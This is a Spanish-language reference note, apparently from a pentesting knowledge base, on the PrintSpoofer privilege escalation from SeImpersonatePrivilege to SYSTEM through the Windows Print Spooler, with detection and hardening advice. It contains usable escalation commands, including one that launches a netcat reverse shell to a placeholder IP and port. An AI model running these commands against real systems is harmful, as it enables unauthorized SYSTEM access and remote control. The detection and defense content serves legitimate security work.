PrintSpoofer

PrintSpoofer es una variante de la familia Potato que escala a SYSTEM desde una cuenta de servicio con SeImpersonatePrivilege (abuso de SeImpersonate). En lugar de coaccionar un objeto DCOM como JuicyPotato, abusa del servicio de cola de impresión (Print Spooler) y su interfaz RPC RpcRemoteFindFirstPrinterChangeNotificationEx, que se puede forzar a conectarse a una named pipe local que controlamos. Cuando el servicio (que corre como SYSTEM) se conecta, capturamos su token y lanzamos un proceso con él.

whoami /priv               # confirmar SeImpersonatePrivilege = Enabled
.\printspoofer.exe -i -c cmd        # shell interactiva como SYSTEM
.\printspoofer.exe -c "nc.exe <ip> <port> -e cmd.exe"

La salida típica confirma cada paso: encuentra el privilegio, deja una named pipe a la escucha y consigue CreateProcessAsUser() OK, abriendo una shell como nt authority\system.

Es la opción preferida en Windows 10 / Server 2016-2019 donde JuicyPotato quedó mitigado por los cambios en el broker DCOM, siempre que el servicio Spooler esté en marcha.

Matiz. Depende de que el Print Spooler esté habilitado (lo está por defecto en muchos sistemas, pero endurecimientos post-PrintNightmare lo deshabilitan); si no, se recurre a otras variantes (GodPotato, RoguePotato). El privilegio sigue siendo el requisito previo imprescindible.

Cómo detectarlo. Como todo Potato, la firma es de linaje de procesos: un hijo como NT AUTHORITY\SYSTEM colgando de una cuenta de servicio (4688/Sysmon 1) sin login interactivo previo. Lo específico de PrintSpoofer es que abusa del Spooler: se ve un proceso conectando a la named pipe \pipe\spoolss (Sysmon 17/18, Pipe Created/Connected) y actividad RPC contra el servicio de impresión. El binario printspoofer.exe recién soltado lo marca el EDR/AV. Ver SeImpersonate y potatoes para la detección común de la familia.

Defensa. Deshabilitar el Print Spooler donde no haga falta, minimizar las cuentas de servicio con SeImpersonatePrivilege y mantener el sistema parcheado. Conceptualmente equivale al abuso de SUID en Linux: un permiso legítimo convertido en escalada.